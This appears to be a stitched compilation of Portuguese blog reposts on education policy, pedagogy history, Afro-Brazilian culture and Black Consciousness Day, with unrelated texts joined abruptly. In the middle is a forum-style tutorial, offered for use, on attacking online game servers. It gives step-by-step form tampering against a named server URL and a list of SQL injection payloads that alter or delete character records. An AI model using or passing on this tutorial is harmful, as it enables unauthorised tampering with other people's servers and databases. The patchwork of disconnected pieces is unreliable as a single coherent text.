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a rapidez e ausencia de dialogo que caracterizam tais reformas reiteram sua ilegitimidade, trazendo efeitos nao so para a educacao, mas para a sociedade como um todo. Os setores mais frageis serao os mais impactados, reforcando as desigualdades ja existentes no Brasil. E, claro, isso trara consequencias inegaveis para o que acontece em sala de aula, conclui. Os direitos do professor ameacados: ponto a ponto A reforma trabalhista e a terceirizacao irrestrita, ambas sancionadas, trazem diversos prejuizos para os trabalhadores brasileiros. Mas como essas novas legislacoes afetam os professores especificamente? Especialistas apontam as principais vulnerabilidades a que estarao submetidos os professores: Professores poderao ser contratados por periodos curtos, sem garantia de ferias remuneradas e 13o salario. Tambem facilita demissoes e a alta rotatividade de emprego; Fim do imposto sindical: enfraquece a representacao sindical e ameaca direitos adquiridos, como a semestralidade, plano de saude, a hora atividade e a gratuidade de bolsas para filhos de professores; Negociado sobre o legislado: o que vai valer nas negociacoes salariais e o acordo fechado entre patroes e empregados, apesar das determinacoes da CLT; Horas extras poderao ser substituidas por banco de horas mediante negociacao: a escola nao sera mais obrigada a remunerar financeiramente os trabalhos extras; Trabalho intermitente: professor ou professora fica a disposicao da escola 24 horas. No entanto, o docente so sera remunerado pelo periodo que trabalhou. Nesse caso, a escola ainda tem exclusividade para que o educador nao exerca suas atividades profissionais em outras instituicoes; Terceirizacao irrestrita: os professores e professoras poderao ser contratados como prestadores de servico, tendo que abrir firma para dar nota fiscal a escola e pagar impostos como microempresarios, sem direito a ferias, 13o, PLR ou qualquer outro beneficio empregaticio; Home office: o trabalho em casa entra na legislacao, sendo desta forma, regulamentado o Ensino a Distancia (EAD). por Ingrid Matuoka http://educacaointegral.org.br
trabalhar por projetos e ate mesmo para mais de uma empresa. Irao sobressair aqueles que souberem divulgar bem os seus talentos e montar uma carteira de clientes fieis.Flexibilidade e resiliencia. O mercado de trabalho se tornou volatil e e comum que, ao longo do tempo, o profissional acabe assumindo novas atribuicoes, diferentes daquelas para as quais foi inicialmente contratado. Estar aberto a essa possibilidade, assim como administrar as proprias emocoes ao lidar com situacoes adversas e com mudancas, sao fortes diferenciais.Disposicao para trabalhar em grupo e respeitar diferencas. As empresas costumam montar equipes multidisciplinares e estas podem variar de acordo com cada projeto. Isso requer capacidade de ouvir os diversos pontos de vista e de exercer diferentes posicoes nos grupos ora podemos ser o lider, ora coadjuvantes ou colaboradores. Conviver bem com as diferencas de cultura, raca, crenca, posicao politica e essencial. Ter uma atitude inclusiva e ainda melhor.Capacidade de aprender continuamente e se reinventar. Num mundo marcado por inovacoes tecnologicas e pela rapidez das mudancas, os conhecimentos se tornam obsoletos ou insuficientes em pouco tempo. Algumas profissoes deixaram de existir e outras se tornaram completamente diferentes nos ultimos anos. Mesmo sem um professor do lado ou sem frequentar cursos formais, os profissionais deverao ter habilidade para aprender o tempo todo, mantendo-se atualizados por meio de processos de educacao continuada. por Andrea RamalFONTE: http://g1.globo.com
nas redacoes ou nas redes sociais sempre foi fonte de frustracao. Persiste a nocao absurda de que a matematica nos afasta de algum componente humano abstrato, ao conferir um carater preciso e concreto as discussoes. Ha ainda interpretacoes estapafurdias, que tentam conferir ao tema um carater ideologico, como se o teorema de Pitagoras pudesse ser de esquerda ou direita.A meta, evidentemente, nao deve ser levar todo brasileiro a resolver os problemas da IMO. Alfabetiza-los em matematica e bem mais simples. Envolve tao-somente nocoes de ordem de grandeza, proporcao e percentuais, probabilidade e estatistica, logica e inferencia alem de calculos triviais. Sao merecidissimos os aplausos a minoria de nossos alunos capazes de resolver os problemas dificeis das olimpiadas. Mas nosso problema real continua a ser a vasta maioria, incapaz de entender os mais faceis. por Helio Gurovitz FONTE:http://g1.globo.com
Educacao dos jesuitas, escolha do metodo Lancaster e outros fatores historicos levaram a ma qualidade atual do ensino brasileiroFormalismo pedagogico, dogmatico e religioso dos jesuitas educou a populacao com baixa qualidade moral e intelectualO suico Johann Heinrich Pestalozzi, estudado nos nossos ultimos textos sobre educacao, viveu de 1746 a 1827. O ingles Joseph Lancaster viveu de 1778 a 1838.Apesar dos periodos semelhantes e de ambos terem sido grandes pedagogos adeptos do ensino mutuo, os seus metodos tem diferencas marcantes e o entendimento delas e crucial para o aperfeicoamento da educacao brasileira.Com o objetivo de organizar, difundir a educacao publica e combater a falta de professores, foi adotado no Pais, em 1823, com apoio de Dom Pedro I e dos membros da Assembleia Geral Legislativa, o metodo Lancaster.Tal metodo, por ser centralmente pautado no ensino mutuo, reduziria os custos da educacao publica e permitiria difundi-la sem necessidade de grande numero de educadores formados.Em 15 de outubro de 1827 foi publicada a lei que criou as escolas primarias, por meio da qual se reafirmou a adocao do metodo Lancaster. A partir de 1847, ele foi sendo substituido nas provincias pelo metodo simultaneo, o mais comum hoje, pois, alem de ter suas falhas, foi mal aplicado no Brasil.O ensino mutuo consiste no uso de monitores escolhidos entre os proprios alunos, tornando possivel que diferentes classes sejam criadas com a existencia de um unico professor.Apesar de ter sido muito atribuido a Lancaster, Pestalozzi aplicou esse metodo na sua experiencia em Stans, na Suica, em 1798, mesmo ano em que o ingles abriu sua escola, tendo-o feito um pouco antes do que ele e depois novamente em Yverdon por volta de 1817, porem comungando-o com outros metodos. Ao se referir ao ensino mutuo, Pestalozzi afirma o seguinte em Como Gertrudes ensina os seus filhos: Dele me servi em Stans, numa epoca em que nao se falava nem de Bell, nem de Lancaster. Por sua vez, o pedagogo ingles publicou em 1803, aos 25 anos, a sua obra Improvents in Education (Aperfeicoamentos na Educacao), na qual apresentava o metodo Lancaster. Na verdade, Andrew Bell aplicou o ensino mutuo ainda antes do que os dois, pois ja em 1796 publicou obra na qual explicava o sistema que criou a partir de sua experiencia na India.Alem dos beneficios economicos, o ensino mutuo, por meio de monitores, tem diversas outras vantagens, a exemplo de valorizar os melhores alunos, estimulando-os a serem bons o bastante para receberem essa posicao de destaque; permitir que, alem de professores adultos, os alunos possam ser ensinados por jovens com linguagem e modos semelhantes, levando a outro tipo de interacao; e criar uma maior homogeneidade na aplicacao do metodo por ter como monitores alunos formados na propria escola. O problema e que Lancaster nao comungava o ensino mutuo com outros metodos, como o simultaneo e o individual, heterogeneidade que foi usada por Pestalozzi em Yverdon.Todo o metodo estava pautado no ensino mutuo pela possibilidade que ele ensejava de educar centenas de criancas com apenas poucos professores, como o ingles fez em sua escola.A utilizacao de forma sistematizada,
inteligente, dos tres metodos (simultaneo, mutuo e individual), tirando o melhor de cada um, parece um bom caminho.E possivel aplicar o ensino mutuo, por exemplo, no caso de alunos que necessitam de reforco e em certas atividades especificas em sala de aula, o que ja e feito por algumas escolas.O livro de Lancaster se inicia com uma defesa da difusao da educacao publica.Fortemente pautado em ideais cristaos, como Quaker que era, prega brilhantemente a igualdade, a caridade, a mutua condescendencia, a uniao e o amor entre as pessoas, independentemente da sua classe social, do seu partido ou do seu credo.Ele se aproxima, portanto, de Pestalozzi, que sofreu ataques por nao ser religioso, apesar de um fervoroso defensor da filosofia moral crista pregada por Lancaster.Este se afasta de Bell, que pregava um metodo com tom religioso acentuado, o que os levou a travar uma disputa que levou Lancaster a falencia e a prisao.Essa visao da educacao carregada de valores morais, mas contra o sectarismo religioso e dogmatismos era e ainda e ate hoje, mesmo que num cenario distinto muito importante para o Brasil, cujo povo havia sido educado basicamente pelos jesuitas desde sua chegada a Bahia em 1549 ate sua expulsao em 1759.Os jesuitas, a despeito de bons trabalhos missionarios que fizeram, em geral pregavam os dogmas da Igreja Catolica com muito fervor e faziam criticas aos demais credos, sobretudo aos Protestantes.O metodo dos jesuitas ainda era o escolastico medieval, num periodo em que a Europa ja quebrava as amarras da Idade Media e ingressava pela Idade Moderna com grandes descobertas na ciencia e na filosofia.De certa forma, e como se, nos seculos XVII e XVIII, enquanto a Europa vivia o Iluminismo, o Brasil, descoberto ha pouco tempo, estivesse vivendo a sua Idade Media.Nao e a toa que o pais ainda tenha inumeros deficits a sanar em relacao aos mais desenvolvidos. Ha fatores historicos claros que definem as instituicoes e politicas publicas de hoje, inclusa ai a educacao. Entender esses fatores e primordial para sanar os deficits e tentar assumir a vanguarda. Alem de destruir a maior parte da cultura local, os jesuitas implantaram o formalismo pedagogico dogmatico-religioso, que teve seus meritos por educar parte da populacao do pais, mas, em regra, com baixa qualidade moral e intelectual.A despeito das excecoes de missionarios com grandes valores morais que estiveram por estas terras, como o padre portugues Antonio Vieira e o espanhol Fernando Miramez de Olivideo, emissario do rei Filipe IV, que, apesar de catolicos, nao eram jesuitas e defenderam os direitos dos indigenas e dos negros; boa parte dos que se tornaram educadores no Brasil tinham ou passaram a ter, apos aqui chegar, o objetivo de consolidar o imperio dos seus paises na colonia, acumulando riquezas e regalias.Assim o povo brasileiro foi formado ate o final do seculo XVIII, ao longo de mais de 200 anos, e isso explica alguns elementos da cultura observados ate hoje.Pode-se dizer que pelo formalismo, pelo carater manipulativo e dogmatico, a educacao brasileira do Brasil colonia foi o inverso daquilo pregado por Rousseau, Pestalozzi e Rivail, como visto
em textos anteriores.Apos a expulsao dos jesuitas pelo Marques de Pombal, houve interessantes reformas na educacao portuguesa, que ficaram conhecidas como pombalinas, mas que nao repercutiram muito no Brasil por falta de professores e outros aspectos. Buscou-se uma educacao mais util, aplicada, pratica, porem nao e o que se ve, em regra, ate hoje.A adocao do metodo Lancaster, apesar dos seus meritos em termos de abrangencia, reverteu aquela filosofia da reforma pombalina, pois ele e centrado na memorizacao e na disciplina, ainda que o pedagogo ingles fosse contrario, como Pestalozzi, aos castigos corporais, comuns a epoca.O metodo do suico conseguia obter a ordem pelo amor, pelo respeito, e, apesar de valorizar o desenvolvimento da memoria, como uma das faculdades naturais, o seu ensino estava muito mais pautado na experiencia e no raciocinio logico.E possivel notar uma forte preocupacao de Lancaster com a ordem, que se superpos, no seu metodo educacional, ao ideal do amor que ele mesmo pregava e, de fato, realizou em nivel ate acima media. Pestalozzi se focava no fortalecimento dos lacos de fraternidade entre o mestre e os alunos, assim como entre estes, um dos principais pilares do seu metodo.Ainda que o ensino mutuo tenha sido substituido no Brasil cerca de 30 anos depois pelo simultaneo, tendo em vista o seu fracasso, pois, dentre outros problemas ainda atuais, faltavam predios adequados e professores qualificados para aplicar o metodo; a educacao continuou marcada pela influencia jesuita e de Lancaster, revelando-se pautada na memorizacao e na imposicao da ordem por meio de castigos.Tanto sob o angulo intelectual quanto moral, a media da educacao brasileira e muito pobre, porem a historia poderia ter sido outra se ja tivesse sido aplicado o metodo Pestalozzi, pautado no desenvolvimento de faculdade naturais (capacidades) por meio de um ensino bastante pratico e com forte carga moral transmitida por meio do exemplo, sem aplicacao de punicoes.Nao se pode voltar atras e mudar o passado, mas e possivel mudar o presente e fazer um novo futuro.por Marcos de Aguiar Villas-Boas e Tania Rego/Agencia Brasilhttps://www.cartacapital.com.br
Educandario Dom Duarte, localizado no Jardim Esmeralda, na periferia da cidade de Sao Paulo. O Educandario une os CEIs e outros programas socioeducativos em uma extensa area verde, repleta de espacos amplos para criancas e adolescentes brincarem e aprenderem. Sao, no total, 1360 criancas matriculadas. Thais Rosa e a coordenadora pedagogica do CEI Joao de Barro desde 2014, onde trabalham 13 professoras, e afirma que a formacao continuada e essencial. A educacao que eu tive anos atras nao e mais a mesma de hoje. Preciso entender quem sao essas criancas e como elas aprendem agora, diz. Parceria: Ligia, Patricia e Thais caminham lado a ladoCredito: Ingrid Matuoka E no dialogo entre formadora e coordenadora que descobrem as dificuldades e necessidades, realizam planejamentos e sistematizam praticas. Alem disso, discutem o perfil dos professores, das criancas e se o que estao desenvolvendo tem sentido e relacao com a familia e com a comunidade. Neste tratamento, prevalece o respeito e a confianca. Quando me aproximo das professoras, me aproximo tambem das criancas, conta Patricia. E entao elas conseguem trazer suas dificuldades. Sentem confianca para continuar desenvolvendo o que sempre fizeram, com a bagagem que ja tem. Por parte de Thais, essa abordagem faz toda a diferenca. A Patricia nao vem aqui para supervisionar, apontar o que esta errado e ir embora. Ela traz estrategias de como melhorarmos o nosso trabalho juntas. Ligia Mandu da Silva, uma das professoras do CEI Joao de Barro, conta que Thais participa de todos os planejamentos semanais de atividades das professoras, e que Patricia nunca foi uma figura ameacadora. Essa proximidade faz com que ela se sinta a vontade para busca-las quando encontra dificuldades. Aqui, elas me veem como profissional. Aqui, eu realmente sou professora, diz. FONTE: http://educacaointegral.org.br
pra qualquer tipo de jogo online! q receba dados atraves de site e assim nos podemos enviar comandos para o banco de dado do server! vcs jah ouviram flar '' os hack derrubarao tal server" " os hack deletaram todas as acc" "os hack mudaram a xp do server"" pois eh essa eh a tecnica!1- vc vai no site do server, vai na pagina de cadastro e clica com o botao direito lah!2- vc coloca mostrar codigo fonte, vai aparecer os codigos em html.3- vc aperta ctr+f e escreve form e aprte buscar!4- vc encontrara algo assim.FORM action= account.php method=post name=applMember onsubmit="return chkForm(document.applMember);"5- depois q vc axar vc minimisa e vai lah na pagina de cadastro novamente e naum escreve nada apenas pareta ok como vc fosse se cadastrar! aparecera uma pagina de erro.6- nessa pagina de erro vc clica o botao direito e vai em propriedades e copia a url q vai aparecer.7- + uq vc vai fazer com essa url? hehe vc volta ao codigo fonte e cola a url na parte de action.8- vai ficar assim FORM action=http://xgamesmu.servegame.com/index.php?op=account/account.php method=post name=applMember onsubmit="return chkForm(document.applMember);"9- agora vc aperta ctr+f novamente e escreve maxlength e aperta buscar.10- quando vc axar vai esta assim INPUT class=input03maxLength=10 name=Member_Id11- vc muda esse 10 para 999912- prontu vc criou uma copia de uma pagina e a tormou de uma forma vuneravel pra q vc possa enviar os comando!13- quando vc for salvar o arquivo vc salva ele como .html14- prontu pagina criada + e agora?' UPDATE Character Set cLevel = '349' WHERE (Name = 'Rush')--' UPDATE Character Set Reset = 9 WHERE (Name = 'Rush')--' UPDATE ' DELETE Character = 9 WHERE (Name = 'Rush')--' UPDATE Character Set Dexterity = 5000 WHERE (Name = 'Rush')--' UPDATE Character Set Energy = 25000 WHERE (Name = 'Rush')--' UPDATE Character Set Strength = 5000 WHERE (Name = 'Rush')--' UPDATE Character Set Vitalit= 5000 WHERE (Name = 'Rush')--' UPDATE Character Set Vitality = 5000 WHERE (Name = 'Rush')--' UPDATE Character Set Money = 1000000000000 WHERE (Name = 'rush')--aqui estao os comando sql injection!claru eu coloquei apenas os basico pq se naum vai ter negu derrubando server ae diretu hehe!esses comandos serve para editar seu char na parte q tem rush vc coloca o nick do ser char lah no server!agora tah explicado pq naum liberam o codigo fonte do global neh hehe!!obs:essa tecnica fuciona melhor em sites php, num tem uns server com site igual o do global nesses principalmente!em asp eh diferente naum da desse metodo!depois eu posto novos comandos o dos itens, mudar de classe, mudar pra gm!!isso naum pode ser apenas por pagina de cadastro serve pela pagina de reset a de trocar de senha e na de tirar pk.
Culturas Populares, reforca esse compromisso. Eu acredito muito na materialidade desses processos. Essa Oficina significa um avanco., enfatizou.O resultado com os nomes dos selecionados para a Oficina sera publicado no site do Ministerio da Cultura a partir do dia 10/11/2011 .
Presente de Iemanja em Sao Goncalo O Iyalorixa Marcia DOxum do Egbe Ile Iya Omidaye Ase Obalayo em Parceiria com o A Secretaria de Cultura de sao Goncalo apoio da Comissao de Combate a Intolerancia Religiosa no Rio de Janeiro e contando com a comissao organizadora de Matrizes Africana de Sao Goncalo formada pelas mesma casas do Matrizes que fazem ,tem a Proposta de fazer um presente para Iemanja de todas as casas de Matriz Africana que acontecera no dia 7 de Janeiro de 2010 na Prai das Pedrinhas em S>G as 9 horas da manhacomecaremos as 9h depois do presente apresentacao cultural da Banda Orumila .O presente tambem tema intecao de mostrar a cooperacao das casas de Matrizes de S.G para o meio ambiente ,que compriendemos o Mar como Divindade IYEMONJA (mae dos filhos peixes)Precisamos mostrar que podemos nao ser a unica religiao e cultura que cultua a Natureza mas com certeza somos uma das pouca .Entao estamos juntos em uma construcao das casas .Que os Balaios serao constituido de Papel e a barca do presente ,as bonecas serao de pano os espelhos de papel os perfumes serao aromatizados pelo povo de Orixasem deixar os vidros, pois assim estaremos cumprindo o verdadeiro sentido do Axe e preservando o Mar.onde vive as Divindades e osilencio de muitos dos nossos ancestrais ,que atravessaram nos navios Negreiros . e por la ficaram. Esse e um ato Religioso e cultural pois preseva um patrimonio imaterial e Material do povo Afro descendente Brasileiro . Tragam flores brancas para Iemanja as flores ,venha Participar ,gostariamos de agradecer tambem a mas uma casa que aboliu a esse movimento e o mIle de Iya Zinguere de Oxum que fica situado na beira da Praia das Pedrinhas .Olorum ModupeIya Marciaq DOxum A Lei n.o 10.639, de 9 de janeiro de 2003, incluiu o dia 20 de novembro no calendario escolar, data em que comemoramos o Dia Nacional da Consciencia Negra. A mesma lei tambem tornou obrigatorio o ensino sobre Historia e Cultura Afro-Brasileira. Com isso, professores devem inserir em seus programas aulas sobre os seguintes temas: Historia da Africa e dos africanos, luta dos negros no Brasil, cultura negra brasileira e o negro na formacao da sociedade nacional. Com a implementacao dessa lei, o governo brasileiro espera colaborar para o resgate da contribuicao dos povos negros nas areas social, economica e politica ao longo da historia do pais. A escolha dessa data nao foi por acaso: em 20 de novembro de 1695, Zumbi - lider do Quilombo dos Palmares- foi morto em uma emboscada na Serra Dois Irmaos, em Pernambuco, apos liderar uma resistencia que culminou com o inicio da destruicao do quilombo Palmares. Apesar das varias duvidas levantadas quanto ao carater de Zumbi nos ultimos anos (comprovou-se, por exemplo, que ele mantinha escravos particulares) o Dia da Consciencia Negra procura ser uma data para lembrar a resistencia do negro a escravidao de forma geral, desde o primeiro transporte forcado de africanos para o solo brasileiro (1534).Algumas entidades como o Movimento Negro Unificado (o maior do genero no pais) organizam
palestras e eventos educativos, visando principalmente criancas negras. Procura-se evitar o desenvolvimento do autopreconceito, ou seja, da inferiorizacao perante a sociedade.Outros temas debatidos pela comunidade negra e que ganham evidencia no 20 de novembro sao: insercao do negro no mercado de trabalho, cotas universitarias, se ha discriminacao por parte da policia, identificacao de etnias, moda e beleza negra, etc.O dia e celebrado desde a decada de 1970, embora so tenha ampliado seus eventos nos ultimos anos; ate entao, o movimento negro precisava se contentar com o dia 13 de Maio, Abolicao da Escravatura comemoracao que tem sido rejeitada por enfatizar muitas vezes a "generosidade" da princesa Isabel, ou seja, ser uma celebracao da atitude de uma branca.A semana dentro da qual esta o dia 20 de novembro tambem recebe o nome de Semana da Consciencia Negra.Entao, comemorar o Dia Nacional da Consciencia Negra nessa data e uma forma de homenagear e manter viva em nossa memoria essa figura historica. Nao somente a imagem do lider, como tambem sua importancia na luta pela libertacao dos escravos, concretizada em 1888. Porem, hoje as estatisticas sobre os brasileiros ainda espelham desigualdades entre a populacao de brancos e a de pretos e pardos.